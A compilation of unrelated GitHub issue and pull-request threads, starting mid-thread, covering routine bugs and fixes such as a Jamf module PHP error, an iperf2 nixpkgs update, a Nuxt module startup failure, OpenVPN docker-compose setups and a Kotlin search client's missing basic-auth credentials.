Clearly in my case currently the module is not connecting. As you suggested I therefore may need to modify it to diagnose and workaround the issue. To do this it would help me to know which component/file of your module is responsible for connecting to Jamf Pro as that would presumably the problem area.

@tuxudo
Ah ha! As one might expect it is mostly my fault. It looks like whilst I did have a php-curl installed it was the wrong version. I have installed a newer one to match my PHP and we have now got past the 500 error.
We do however still have a remaining problem. I am getting the following shown on the client Mac when testing this.
Warning: Undefined property: stdClass::$token in /usr/local/munkireport/vendor/tuxudo/jamf/lib/jamf_helper.php on line 540


Add sql warehouse

Codecov Report

:exclamation: No coverage uploaded for pull request base (main@c453db9). Click here to learn what that means.
Patch has no changes to coverable lines.

Additional details and impacted files
@@           Coverage Diff           @@
##             main     #385   +/-   ##
=======================================
  Coverage        ?   55.23%
=======================================
  Files           ?       19
  Lines           ?     1070
  Branches        ?        0
=======================================
  Hits            ?      591
  Misses          ?      479
  Partials        ?        0

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report at Codecov.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


iperf2: 2.0.11 -> 2.0.12

Semi-automatic update generated by https://github.com/ryantm/nixpkgs-update tools.
This update was made based on information from https://repology.org/metapackage/iperf/versions.
These checks were done:

built on NixOS
/nix/store/c7p3b3b353pssma0cg1wg78pfs6x2is3-iperf-2.0.12/bin/iperf passed the binary check.
1 of 1 passed binary check by having a zero exit code.
0 of 1 passed binary check by having the new version present in output.
found 2.0.12 with grep in /nix/store/c7p3b3b353pssma0cg1wg78pfs6x2is3-iperf-2.0.12
directory tree listing: https://gist.github.com/457110ea6db3cd3dbd6c9bc7ff82477a
du listing: https://gist.github.com/86655ffd63846a5d3a473393af8e4da9

meta.description for iperf2 is: '"Tool to measure IP bandwidth using UDP or TCP"'.
Experimental: this build is cached with Cachix. To use the cache follow these experimental instructions:
One time setup in nixpkgs Git checkout:
cachix use r-ryantm
git remote add r-ryantm https://github.com/r-ryantm/nixpkgs.git

Test this build:
git fetch r-ryantm && git checkout db44f2614beed706af5460a9e589635d037ac5e9 && nix-shell --pure -I nixpkgs=. -p iperf2

Success on x86_64-linux (full log)
Attempted: iperf2
Partial log (click to expand)
make[1]: Leaving directory '/build/iperf-2.0.12'
post-installation fixup
shrinking RPATHs of ELF executables and libraries in /nix/store/c7p3b3b353pssma0cg1wg78pfs6x2is3-iperf-2.0.12
shrinking /nix/store/c7p3b3b353pssma0cg1wg78pfs6x2is3-iperf-2.0.12/bin/iperf
gzipping man pages under /nix/store/c7p3b3b353pssma0cg1wg78pfs6x2is3-iperf-2.0.12/share/man/
strip is /nix/store/4qvrxzxa535y8304mk195x50b6p9607d-binutils-2.30/bin/strip
stripping (with command strip and flags -S) in /nix/store/c7p3b3b353pssma0cg1wg78pfs6x2is3-iperf-2.0.12/bin
patching script interpreter paths in /nix/store/c7p3b3b353pssma0cg1wg78pfs6x2is3-iperf-2.0.12
checking for references to /build in /nix/store/c7p3b3b353pssma0cg1wg78pfs6x2is3-iperf-2.0.12...
/nix/store/c7p3b3b353pssma0cg1wg78pfs6x2is3-iperf-2.0.12

Success on x86_64-darwin (full log)
Attempted: iperf2
Partial log (click to expand)
make[2]: Nothing to be done for 'install-exec-am'.
make[2]: Nothing to be done for 'install-data-am'.
make[2]: Leaving directory '/private/tmp/nix-build-iperf-2.0.12.drv-0/iperf-2.0.12'
make[1]: Leaving directory '/private/tmp/nix-build-iperf-2.0.12.drv-0/iperf-2.0.12'
post-installation fixup
gzipping man pages under /nix/store/py9jrm7csbp2qwb3j6kxi5ai1vn89hpv-iperf-2.0.12/share/man/
strip is /nix/store/7ddbq63v97nk8gkbf7gcsfmby37h6gbl-cctools-binutils-darwin/bin/strip
stripping (with command strip and flags -S) in /nix/store/py9jrm7csbp2qwb3j6kxi5ai1vn89hpv-iperf-2.0.12/bin
patching script interpreter paths in /nix/store/py9jrm7csbp2qwb3j6kxi5ai1vn89hpv-iperf-2.0.12
/nix/store/py9jrm7csbp2qwb3j6kxi5ai1vn89hpv-iperf-2.0.12

Success on aarch64-linux (full log)
Attempted: iperf2
Partial log (click to expand)
make[1]: Leaving directory '/build/iperf-2.0.12'
post-installation fixup
shrinking RPATHs of ELF executables and libraries in /nix/store/qb24vrlpx486n2lcacm9scisfq2f424b-iperf-2.0.12
shrinking /nix/store/qb24vrlpx486n2lcacm9scisfq2f424b-iperf-2.0.12/bin/iperf
gzipping man pages under /nix/store/qb24vrlpx486n2lcacm9scisfq2f424b-iperf-2.0.12/share/man/
strip is /nix/store/0pjsgkxz0rp5baycq5sp2s72lrr5q9sg-binutils-2.30/bin/strip
stripping (with command strip and flags -S) in /nix/store/qb24vrlpx486n2lcacm9scisfq2f424b-iperf-2.0.12/bin
patching script interpreter paths in /nix/store/qb24vrlpx486n2lcacm9scisfq2f424b-iperf-2.0.12
checking for references to /build in /nix/store/qb24vrlpx486n2lcacm9scisfq2f424b-iperf-2.0.12...
/nix/store/qb24vrlpx486n2lcacm9scisfq2f424b-iperf-2.0.12

@ryantm It might be asking a lot --esp since I don't know that this information is provided by repology, but just in case it's more attainable than I think: any chance the update bot can include release notes or changelog information for the update? It's the first thing I always chase down and even partial support for this would help speed update processing I think. (And by "partial" I mean include it for some packages but not always being able to do so and instead saying "unknown, but here's a link to the homepage and/or git repo hope that helps" :P).

LGTM, thanks!

@dtzWill Yes, we'd like to eventually have this! We have an issue tracking this enhancement https://github.com/ryantm/nixpkgs-update/issues/44


Fix checklist link in legalization.md

replaced broken link to the checklist with an up-to-date one ( https://justandrei.github.io/jdg-tools/checklist/ )

Thank you for the fix 🙂


Errors in the Pseudospectral benchmarks

Describe the bug 🐞
All the pseudospectral PDE benchmarks are failing except the Burgers equation. There is no work precision diagrams generated within the docs

Yes, these have not been building for awhile and need some help.


cant init module

Environment
Working directory: /Users/julius/dev/my-module                                                                                5:14:16 PM
Nuxt project info: (copied to clipboard)                                                                                5:14:16 PM

Operating System: Darwin
Node Version:     v20.11.0
Nuxt Version:     3.9.3
CLI Version:      3.10.0
Nitro Version:    2.8.1
Package Manager<EMAIL_ADDRESS>Builder:          -
User Config:      -
Runtime Modules:  -
Build Modules:    -

👉 Report an issue: https://github.com/nuxt/nuxt/issues/new                                                                                5:14:16 PM
👉 Suggest an improvement: https://github.com/nuxt/nuxt/discussions/new
👉 Read documentation: https://nuxt.com
Reproduction
Just created a module using npx nuxi init -t module my-module, then ran npm run dev:

Describe the bug
After running the init command, the module doens't start due to some issue with untyped
Additional context
No response
Logs
$ npx nuxi init -t module my-module

✔ Which package manager would you like to use?
npm
◐ Installing dependencies...                                                                                5:11:25 PM

added 880 packages, and audited 882 packages in 42s

164 packages are looking for funding
  run `npm fund` for details

5 high severity vulnerabilities

To address issues that do not require attention, run:
  npm audit fix

To address all issues (including breaking changes), run:
  npm audit fix --force

Run `npm audit` for details.
✔ Installation completed.                                                                                5:12:07 PM

✔ Initialize git repository?
Yes
ℹ Initializing git repository...                                                                                5:12:09 PM

Initialized empty Git repository in /Users/julius/dev/my-module/.git/
                                                                                5:12:09 PM
✨ Nuxt project has been created with the module template. Next steps:
 › cd my-module                                                                                5:12:09 PM
 › Start development server with npm run dev

---

$ npm run dev

><EMAIL_ADDRESS>dev
> nuxi dev playground

Nuxt 3.9.3 with Nitro 2.8.1                                                                                5:12:14 PM
                                                                                5:12:14 PM
  ➜ Local:    http://localhost:3000/
  ➜ Network:  use --host to expose

 ERROR  Error while requiring module ../src/module: Error: Cannot find module './shared/untyped.a47b2336.cjs'                                                                                5:12:15 PM
Require stack:
- /Users/julius/dev/my-module/node_modules/untyped/dist/index.d.cts

 ERROR  Cannot start nuxt:  Cannot find module './shared/untyped.a47b2336.cjs'                                                                                5:12:15 PM
Require stack:
- /Users/julius/dev/my-module/node_modules/untyped/dist/index.d.cts

  Require stack:
  - node_modules/untyped/dist/index.d.cts
  at Module._resolveFilename (node:internal/modules/cjs/loader:1144:15)
  at Function.resolve (node:internal/modules/helpers:187:19)
  at _resolve (node_modules/jiti/dist/jiti.js:1:251148)
  at jiti (node_modules/jiti/dist/jiti.js:1:253746)
  at node_modules/untyped/dist/index.d.cts:1:1147
  at evalModule (node_modules/jiti/dist/jiti.js:1:256443)
  at jiti (node_modules/jiti/dist/jiti.js:1:254371)
  at node_modules/@nuxt/kit/dist/index.mjs:4:16
  at evalModule (node_modules/jiti/dist/jiti.js:1:256443)
  at jiti (node_modules/jiti/dist/jiti.js:1:254371)
  at src/module.ts:1:174
  at evalModule (node_modules/jiti/dist/jiti.js:1:256443)
  at jiti (node_modules/jiti/dist/jiti.js:1:254371)
  at requireModule (node_modules/@nuxt/kit/dist/index.mjs:2219:26)
  at loadNuxtModuleInstance (node_modules/@nuxt/kit/dist/index.mjs:2451:92)
  at async installModule (node_modules/@nuxt/kit/dist/index.mjs:2407:47)
  at async initNuxt (node_modules/nuxt/dist/index.mjs:3858:7)
  at async NuxtDevServer._load (node_modules/nuxi/dist/chunks/dev2.mjs:253:5)
  at async NuxtDevServer.load (node_modules/nuxi/dist/chunks/dev2.mjs:185:7)
  at async NuxtDevServer.init (node_modules/nuxi/dist/chunks/dev2.mjs:180:5)
  at async Object.run (node_modules/nuxi/dist/chunks/dev-child.mjs:101:5)
  at async runCommand$1 (node_modules/nuxi/dist/shared/nuxi.4fde776c.mjs:1648:16)
  at async runCommand$1 (node_modules/nuxi/dist/shared/nuxi.4fde776c.mjs:1639:11)
  at async runMain$1 (node_modules/nuxi/dist/shared/nuxi.4fde776c.mjs:1773:7)

Duplicate of https://github.com/unjs/untyped/issues/123


Local git clone not working (Mac Arm)

Trying to work through some notebooks on my Mac machine (M2 chip) to generate my own visualizations with fastplotlib. Here is the error:
  Cloning into 'fastplotlib'...
  remote: Enumerating objects: 4240, done.
  remote: Counting objects: 100% (1171/1171), done.
  remote: Compressing objects: 100% (509/509), done.
  remote: Total 4240 (delta 839), reused 825 (delta 656), pack-reused 3069
  Receiving objects: 100% (4240/4240), 19.24 MiB | 22.19 MiB/s, done.
  Resolving deltas: 100% (2598/2598), done.
  git-lfs filter-process: git-lfs: command not found
  fatal: the remote end hung up unexpectedly
  warning: Clone succeeded, but checkout failed.

This leaves a half baked fastplotlib folder. Any thoughts?

Thanks Kushal!
-John

You need to install git-lfs:
git-lfs filter-process: git-lfs: command not found

See the contributing section of readme if you're interested in dev install. Otherwise we recommend just installing the release via pip.

Well that was an easy fix, sorry about that Kushal!


Enable MPS support for LitGPT

Re-enables MPS support for LitGPT with an alternative index_copy_ implementation.

To my mind, the implementation should not wire a mps compatibility mode through the model but just check the tensor device in index copy.
This is quite a layering leak and does not look like good UX.
If we're concerned about testing, we should bump the litgpt ci  to apple silicon or have a function for the mps impl that we test separately.

just check the tensor device in index copy.

Agree.

If we're concerned about testing, we should bump the litgpt ci to apple silicon or have a function for the mps impl that we test separately.

M1 runner for public repos should be free of charge: https://github.com/actions/runner-images/issues/9254

Yeah, we need to switch to M1 anyways because x86 macs don't get PyTorch support anymore (I think the last version was 2.2).

To my mind, the implementation should not wire a mps compatibility mode through the model but just check the tensor device in index copy.
This is quite a layering leak and does not look like good UX.
If we're concerned about testing, we should bump the litgpt ci to apple silicon or have a function for the mps impl that we test separately.

Yeah, it's a bit tricky. One could do
def batched_index_copy_(t, dim, idx, val):
    """Index copy for batched t, idx, val"""

    if torch.backends.mps.is_available():
        # mps compatible code
    else:
        # orig index_copy_ code

but the problem is then what if someone has an MPS machine but deliberately wants to run on CPU?
If you have alternative suggestions for dealing with that, I am happy with other implementation solutions (I also don't like the current one, but it was just something to get fixed before next week before the conference).


update caasp logo

bsc#1062247
Signed-off-by: Maximilian Meister<EMAIL_ADDRESS>

Before css change:

After css change

@vitoravelino i hope its correct, as i just edited the css in the browser. as i had to copy the assets into the dex containers on the workers which is a bit complicated :-(

Don't change any css here. If you check https://github.com/kubic-project/dex-branding/pull/2/files#diff-4dcf2acf8c541f3053560d43823a706e you will see that there's a huge difference on how both images were exported. You just need to match height 60px on the image, not css.

Don't change any css here. If you check https://github.com/kubic-project/dex-branding/pull/2/files#diff-4dcf2acf8c541f3053560d43823a706e you will see that there's a huge difference on how both images were exported. You just need to match height 60px on the image, not css.

ok i'll re-export the image with 60px height


feat(test): add unit tests

Add unit tests to update coverage though there are a few issues. Add in development tools such as commitlint , prettier, tslint, jest, and husky.
Commitlint - make sure all commit messages are formatted in a certain way. NestJS and Angular follow this style
Prettier - code formatter to keep code style in line across the project
TSLint - linter to make sure code adheres to specified rules (can be switched for ESLint afte ra few changes are made)
Jest - Test runner developed by Facebook. NestJS uses it as its default
Husky - Git Hook and command runner. Pre-commit is my natural go to, use format and lint on pre-commit to make sure all code coming in follows your standards.
Fixes #1

I'm closing this pull request as there is already the expected changes on the feats/test branch


Move heapster to a vanity import

GoogleCloudPlatform/kubernetes#12211

Can one of the admins verify this patch?

ok to test

Thanks for the update @mikedanese

LGTM, thanks @mikedanese for fixing travis/jenkins. Could you squash?

I've separated automated import rewrite from manual build fix into separate commits intentionally. This is recommended by the guideline here. I think it makes sense not to squash.

Fair enough.
Jenkins is acting up again... retest this please

All green again.

Thanks @mikedanese!

P.S., this will require people to update their gopath layout.
mkdir -p $GOPATH/src/k8s.io
mv $GOPATH/src/github.com/GoogleCloudPlatform/heapster $GOPATH/src/k8s.io

Many people will run into this issue, so I'm thinking we better have it in the README for a couple of weeks. Thoughts?

Just as well, the README should specify that people should use k8s.io/* for go get et al instead of the full github.com/GoogleCloudPlatform/* url.

Yes, I can add that. I've also sent out an announcement on kubernetes-dev, google-containers and kubernetes-announce.
https://groups.google.com/forum/#!topic/kubernetes-announce/d5Yq_y4hbac


Compose Example UDP/TCP

Hi, this looks really interesting!
Do you have an example of using docker compose with the UDP and TCP containers in the same template?

version: '2' services:   openvpn-udp:     cap_add:      - NET_ADMIN     image: kylemanna/openvpn     container_name: openvpn-udp     ports:      - "1194:1194/udp"     restart: always     volumes:      - ./openvpn-data:/etc/openvpn   openvpn-tcp:     cap_add:      - NET_ADMIN     image: kylemanna/openvpn     container_name: openvpn-tcp     ports:      - "1194:1194/tcp"     restart: always     volumes:      - ./openvpn-data:/etc/openvpn

version: '2'
services:
openvpn-udp:
cap_add:
- NET_ADMIN
image: kylemanna/openvpn
container_name: openvpn-udp
ports:
- "1194:1194/udp"
restart: always
volumes:
- ./openvpn-data:/etc/openvpn
openvpn-tcp:
cap_add:
- NET_ADMIN
image: kylemanna/openvpn
container_name: openvpn-tcp
ports:
- "1194:1194/tcp"
restart: always
volumes:
- ./openvpn-data:/etc/openvpn

version: '2'
services:
openvpn-udp:
cap_add:
- NET_ADMIN
image: kylemanna/openvpn
container_name: openvpn-udp
ports:
- "1194:1194/udp"
restart: always
volumes:
- /opt/docker/OpenVPN/openvpn-data:/etc/openvpn
openvpn-tcp:
cap_add:
- NET_ADMIN
image: kylemanna/openvpn
container_name: openvpn-tcp
ports:
- "1194:1194/tcp"
restart: always
volumes:
- /opt/docker/OpenVPN/openvpn-data:/etc/openvpn
command: 'ovpn_run --proto tcp'

version: '2'
services:
openvpn-udp:
cap_add:
- NET_ADMIN
image: kylemanna/openvpn
container_name: openvpn-udp
ports:
- "1194:1194/udp"
restart: always
volumes:
- ./openvpn-data:/etc/openvpn
openvpn-tcp:
cap_add:
- NET_ADMIN
image: kylemanna/openvpn
container_name: openvpn-tcp
ports:
- "1194:1194/tcp"
restart: always
volumes:
- ./openvpn-data:/etc/openvpn
command: 'ovpn_run --proto tcp'

Thanks! This worked - how did you know to use the command? variable?
Also I had port redirection that I had to disable
    ports:
      - target: 1194
         published: 9443
         protocol: tcp
         #mode: host

Had the same problem and read in the docs that it is possible to run two containers in parallel:
https://github.com/kylemanna/docker-openvpn/blob/master/docs/tcp.md

Have you figured out a way to make sure the tcp line for the host gets automatically added to the client config?


resolve #4417

This commit resolved issue #4417 .
References
http://stackoverflow.com/a/35117760/2666624

Tests are failing. Purpose of the PR is mysterious. Closing.

No need to do this PR, because tensorflow 0.12 has removed tf.merge_all_summaries().


Extract MQTT message processing

This refactor is to address the problem that MQTT message processing was causing the ESP8266 to reboot, because of the timeout of the watchdog that make sure to go back to the system tasks, like taking care of wifi connection.
Also the MQTT library mentions this: https://github.com/marvinroger/async-mqtt-client/blob/develop/docs/1.-Getting-started.md#fully-featured-sketch
The point is to remove blocking code from the MQTT callback and moving it to the main loop. This alone solves all my stability issues. Meanwhile I've also upgraded to the latest client version, which solved another issue where I wasn't getting all the MQTT messages that I was seeing in the serial monitor.
This PR fixes for me #388, and also I cannot reproduce anymore the errors in #324 and probably also #312 is related to this.
Every time MQTT message processing was going over a time limit the board was resetting.

Thanks :)


Community Standard Improvements

The repository needs more work to look like it is officially maintained.

[x] #43
[x] #44
[x] #45

Tasks completed.


[BUG] Missing authentication crendetials for REST request

Describe the bug
I recently switch from es-kotlin-client but I'm unable to connect to the ES cluster for basic search. I suspect this might be an issue with settings of my ES cluster but since it was working with previous client I'm not sure so posting here first. I found following thread with similar problem here. I guess it might be related to switching to different version of Rest client under the hood? Because all settings (host, port, user) is kept the same from previous usage.
By the observations it seems that it doesn't matter if I put wrong/correct credentials and it still keeps giving the same result - hence it seems it's really not used.
To Reproduce
Steps to reproduce the behavior:
I'm using following setup for ES client (as I was used to before):
private val client = SearchClient(
        KtorRestClient(
            host = host,
            port = port,
            https = https,
            user = user,
            password = password
        )
    )

and ten I just want to search by ids
val response = client.search(index) {
            query = ids(*ids)
        }

and result is:
07:42:03.656 [eventLoopGroupProxy-4-1 @call-handler#11] ERROR ktor.application - Unhandled: GET - /v1/document/search/
com.jillesvangurp.ktsearch.RestException: RequestIsWrong 401: {"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/default/_search]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/default/_search]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
	at com.jillesvangurp.ktsearch.RestclientKt.asResult(Restclient.kt:91)
	at com.jillesvangurp.ktsearch.Request_dslKt.post(request-dsl.kt:70)
	at com.jillesvangurp.ktsearch.Request_dslKt$post$1.invokeSuspend(request-dsl.kt)
	at kotlin.coroutines.jvm.internal.BaseContinuationImpl.resumeWith(ContinuationImpl.kt:33)
	at io.ktor.util.pipeline.SuspendFunctionGun.resumeRootWith(SuspendFunctionGun.kt:138)
	at io.ktor.util.pipeline.SuspendFunctionGun.loop(SuspendFunctionGun.kt:112)
	at io.ktor.util.pipeline.SuspendFunctionGun.access$loop(SuspendFunctionGun.kt:14)
	at io.ktor.util.pipeline.SuspendFunctionGun$continuation$1.resumeWith(SuspendFunctionGun.kt:62)
	at kotlin.coroutines.jvm.internal.BaseContinuationImpl.resumeWith(ContinuationImpl.kt:46)
	at io.ktor.util.pipeline.SuspendFunctionGun.resumeRootWith(SuspendFunctionGun.kt:138)
	at io.ktor.util.pipeline.SuspendFunctionGun.loop(SuspendFunctionGun.kt:112)
	at io.ktor.util.pipeline.SuspendFunctionGun.access$loop(SuspendFunctionGun.kt:14)
	at io.ktor.util.pipeline.SuspendFunctionGun$continuation$1.resumeWith(SuspendFunctionGun.kt:62)
	at kotlin.coroutines.jvm.internal.BaseContinuationImpl.resumeWith(ContinuationImpl.kt:46)
	at io.ktor.util.pipeline.SuspendFunctionGun.resumeRootWith(SuspendFunctionGun.kt:138)
	at io.ktor.util.pipeline.SuspendFunctionGun.loop(SuspendFunctionGun.kt:112)
	at io.ktor.util.pipeline.SuspendFunctionGun.access$loop(SuspendFunctionGun.kt:14)
	at io.ktor.util.pipeline.SuspendFunctionGun$continuation$1.resumeWith(SuspendFunctionGun.kt:62)
	at kotlin.coroutines.jvm.internal.BaseContinuationImpl.resumeWith(ContinuationImpl.kt:46)
	at io.ktor.util.pipeline.SuspendFunctionGun.resumeRootWith(SuspendFunctionGun.kt:138)
	at io.ktor.util.pipeline.SuspendFunctionGun.loop(SuspendFunctionGun.kt:112)
	at io.ktor.util.pipeline.SuspendFunctionGun.access$loop(SuspendFunctionGun.kt:14)
	at io.ktor.util.pipeline.SuspendFunctionGun$continuation$1.resumeWith(SuspendFunctionGun.kt:62)
	at kotlin.coroutines.jvm.internal.BaseContinuationImpl.resumeWith(ContinuationImpl.kt:46)
	at io.ktor.util.pipeline.SuspendFunctionGun.resumeRootWith(SuspendFunctionGun.kt:138)
	at io.ktor.util.pipeline.SuspendFunctionGun.loop(SuspendFunctionGun.kt:112)
	at io.ktor.util.pipeline.SuspendFunctionGun.access$loop(SuspendFunctionGun.kt:14)
	at io.ktor.util.pipeline.SuspendFunctionGun$continuation$1.resumeWith(SuspendFunctionGun.kt:62)
	at kotlin.coroutines.jvm.internal.BaseContinuationImpl.resumeWith(ContinuationImpl.kt:46)
	at kotlinx.coroutines.DispatchedTask.run(DispatchedTask.kt:106)
	at io.netty.util.concurrent.AbstractEventExecutor.runTask(AbstractEventExecutor.java:174)
	at io.netty.util.concurrent.AbstractEventExecutor.safeExecute(AbstractEventExecutor.java:167)
	at io.netty.util.concurrent.SingleThreadEventExecutor.runAllTasks(SingleThreadEventExecutor.java:470)
	at io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:503)
	at io.netty.util.concurrent.SingleThreadEventExecutor$4.run(SingleThreadEventExecutor.java:997)
	at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74)
	at io.ktor.server.netty.EventLoopGroupProxy$Companion.create$lambda-1$lambda-0(NettyApplicationEngine.kt:285)
	at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30)
	at java.base/java.lang.Thread.run(Thread.java:832)

Expected behavior
Credentials passed in KtorRestClient should be used as it somehow seems that they are missing or invalid.
Your context

what versions of software are you using
what operating system are you using
whatever else you think is relevant

Kotlin version: 1.7.10
Search client version: search-client:1.99.5
Version of Elasticsearch: "number" : "7.17.1",
Will you be able to help with a pull request?
Optional of course, but do let me know if you plan to do work.

thanks for reporting, I'll test this and fix it shortly hopefuly,

Confirmed. The one thing I did not test yet was indeed broken. I fixed and tested this properly now with our elastic cloud server. So it should work now.
The fix involves adding the ktor auth module and installing using basic authentication. Let me know if you have any further issues with this. I will release a new jar shortly.


Set sweep mode (vacuum, vacumm&mop, mop) - Viomi SE

Not exactly an issue but rather help request :)
How can I set this vacuum mode ?
I can read state of it without any problem (vacuum.wdr_mode attribute) but cannot set it the same way that i set water grade for example:
service: vacuum.send_command
target:
  entity_id: vacuum.viomi_v19_e351_robot_cleaner
data:
  command: set_properties
  params:
    - siid: 2
      piid: 11
      value: 2

Is it even possible or it is depending on other command or attribute ?

You need to use service: xiaomi_miot.set_miot_property
service: xiaomi_miot.set_miot_property
data:
  entity_id: vacuum. viomi_v19_e351_robot_cleaner
  siid: 2
  piid: 11
  value: 2

thanks you're right, its working (kind of)
in fact this is faster than vacuum.send_command with set_properties ( i think i will switch to that method for other attributes as well)
but its kind of working because it behave in similar way when trying to set with vacuum.send_command service:

after changing it,  integration will fail after a while with error "Viomi SE Robot Cleaner: Got MiioException while fetching the state: {'code': -9998, 'message': 'user ack invalid'}"
if I try to check this setting in official Xiaomi app it will immediately change to Vacuum&Mop (if mop is in vacuum of course) in both Xiaomi app and HA.
But i guess there is not much we can do about this right ?


Set up multiple accounts

For example like this:
3proxy.cfg.json
...
  "max_connections": "1024",
  "auth": [
    {
      "login": "user1",
      "password": "pass1"
    },
    {
      "login": "user2",
      "password": "pass2"
    }
  ],
  "ports": {
...

3proxy.cfg.mustach
...
maxconn {{ max_connections }}

users{{#auth}}{{#login}} "{{ . }}{{/login}}:CL:{{#password}}{{ . }}"{{/password}}{{/auth}}

auth strong
{{#auth}}
allow {{#login}}{{ . }}{{/login}}
{{/auth}}

proxy -a -p{{ ports.proxy }}
...

To separate users by commas, you need to conjure. https://stackoverflow.com/questions/6114435/in-mustache-templating-is-there-an-elegant-way-of-expressing-a-comma-separated-l

Nice suggestion, but what about environment variables?

What do you think about changes in PR #29?

Closed too early, I didn't merge PR yet :D Just want to hear your opinion about it


pirc522 "ModuleNotFound"

I would like to use an RFIO-RC522 rfid Reader with phoniebox. After the installation, i have copied the Reader.py.experimental to Reader.py. When I start Reader.py, i get an error ModuleNotFoundError: No module named 'pirc522'. When I start RegisterDevice.py it tells me to import pirc522.

With my last install of phoniebox 3 months ago, I did the same and when I started RegisterDevice.py I could choose my RC522. Any idea whats wrong here?
Thank you in advance for your efforts.

Thank you for your help. I have executed the setup_rc522.sh script. Based on the readme within the RC522 folder the script should setup everything, but after a reboot the rc522 inside phoniebox still doesnt work.

I have done the RC522 tutorial from "pimpmylife" in order to check if the rc522 works, and it works fine. It seems that something with the phoniebox settings is not correct.
Any help would be apreciated.

I got it to work. I had to comment out line 17 in the Reader.py script. On line 17 the script tries to import libs
#from py532lib.i2c import *
#from py532lib.mifare import *
that generated the error message.
Not sure if this is the desired behaviour.
Thanks anyway for pointing me to the setup_rc522.sh script, but it doesnt seem to work as expected.

Yeah sorry, you need the script AND a change which is already on develop, but not yet on master branch.
Please see
https://github.com/MiczFlor/RPi-Jukebox-RFID/blob/6d52f2741b9e2a4c8daad06500684bce1c07f94c/scripts/Reader.py.experimental#L17-L22


Spike: pdfgrep usage (linux)

pdfgrep -i "keyword" file.pdf > presearch.txt can be used to search in pdf files as well.
Use multiline regex?


original post discovery: handle sites with high post velocity better

right now, we fetch a site's h-feed(s) and individual h-entries to find syndication links. we do this every 6h if we've seen a synd link recently, ie in the last 2w, otherwise we do it every 2d.
as a hardening measure, we stop after the first 10 entries per fetch. background in #624 and c9e30a2. this means we can miss posts on high velocity site's like @aaronpk's. we currently fetch and process / + /all + /syndicated on his site, which often totals 10-20 or more posts per day. anecdotal post counts per day recently: 13, 13, 25, 22, 25. IRC discussion.
one option is to bump up the 10 post per fetch cap, either globally or for known high velocity sites. another option is to let those sites tell bridgy which feed to use, e.g. just /syndicated, either via UI or rel value or other markup hint.

bumped the per-crawl h-entry cap up from 10 to 50, just for beta users (2b47c069e6ffedb8251c0918d1b541f15288db65). also fixed a bug where manually triggered crawls like Crawl now and Resend weren't updating the last syndication url timestamp.


Add method to go full screen

http://ustream.github.io/api-docs/player-api/fullscreen.html

Actually the method in the docs does not work in Safari on an iPad...

Is there method for going to full screen now?


Add link back to archive and get excerpts only in archive

[ ] At the bottom of an individual featured alumni post, there should be a link back to the archive.
[ ] On the archive, instead of pulling the full content of the post, it should pull the_excerpt instead.


Add .fail() callback to $.getJSON() request #114

Catches the addition of a trailing comma.
Catches the omission of an open or close quotation mark.
Catches the omission of a comma in the middle of a set of object
properties.

Signed-off-by: John M. Horan<EMAIL_ADDRESS>

LGTM! 👏


Config File for falcon_phase.py with HiC data

Hello,
We are interested in using Falcon-PHASE with HiC data for phasing. Is there an example config file available for the falcon_phase.py script? Thank you very much!

Here is an example. I will add this to the README.

[job.defaults]
NPROC=2
njobs=100
MB=16000
pwatcher_type=blocking
job_type=sge
JOB_QUEUE=bigmem
submit = qsub -S /bin/bash -sync y -V  \
  -q ${JOB_QUEUE}     \
  -N ${JOB_NAME}        \
  -o "${JOB_STDOUT}" \
  -e "${JOB_STDERR}" \
  -pe smp ${NPROC}    \
  "${JOB_SCRIPT}"

[Phase]
cns_p_ctg_fasta = ./4-polish/cns-output/cns_p_ctg.fasta
cns_h_ctg_fasta = ./4-polish/cns-output/cns_h_ctg.fasta
reads_1=/path/to/HiC/myreads_R1.fq.gz
reads_2=/path/to/HiC/myreads_R2.fq.gz
min_aln_len=3000
iterations=10000000
enzyme="GATC,GAATC,GATTC,GAGTC,GACTC"
output_format=pseudohap```

Great, thank you very much!


Add Wayne's key fingerprint

What do these changes do?
Add my key fingerprint to the docs

You can find my key on keyserver.ubuntu.com, and you can also find it on my web page at https://waynewerner.com/about_me

Also realized I hadn't setup my git to use this signing key :joy: now it is :+1: (also FYI @pepoluan I just noticed that your signing key expires next month)

Also realized I hadn't setup my git to use this signing key 😂 now it is 👍 (also FYI @pepoluan I just noticed that your signing key expires next month)

Ack! Did not notice that ... okay I need to do some key maint on my part as well :D

Ugh my mind is still a bit foggy due to influenza ... I'm folding up your PR into mine because I also had created a new key.

All good :+1: I've had a nasty mostly-nighttime cough myself the last few days so I get that :joy:


using this.$axios instead of axios

remove baseURL: '/api/dev'

Codecov Report

Merging #509 into develop will not change coverage.
The diff coverage is n/a.

@@            Coverage Diff             @@
##             develop     #509   +/-   ##
==========================================
  Coverage      22.55%   22.55%
  Complexity       293      293
==========================================
  Files             80       80
  Lines           3205     3205
  Branches         515      515
==========================================
  Hits             723      723
  Misses          2407     2407
  Partials          75       75

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 342e3cb...14b13f0. Read the comment docs.


Log more details when notifying hoptoad

The Hoptoad API v2 support more options that we currently support. See [1] for details.
We need to find a way to easily log these as well.
[1] http://help.hoptoadapp.com/faqs/api-2/notifier-api-v2

Closing this ticket, as I merged in your changes earlier this year (and forgot to close this).
You might want to pull from me, as I've updated the code to point to the new URL for Airbrake.
Thanks!
-Ken


Commands for string manipulation don't work

Describe the bug
The commands described in https://docs.microsoft.com/en-us/quantum/language/expressions#string-expressions to manipulate strings, \n, \t, \r do not work. Also \" avoids finishing the string literal but the compiler prints also the backslash, instead of only ".
To Reproduce
Execute:
Message("\"This line is not \n breaking \"");

And observe:
\"This line is not \n breaking \"

Expected behavior
Terminal printing:
"This line is not
breaking "

System information

Windows, .NET version: 3.1.100

Additional context
I tried executing the code in Python and in the Standalone command line, both show the same behaviour.

Thanks for filing!

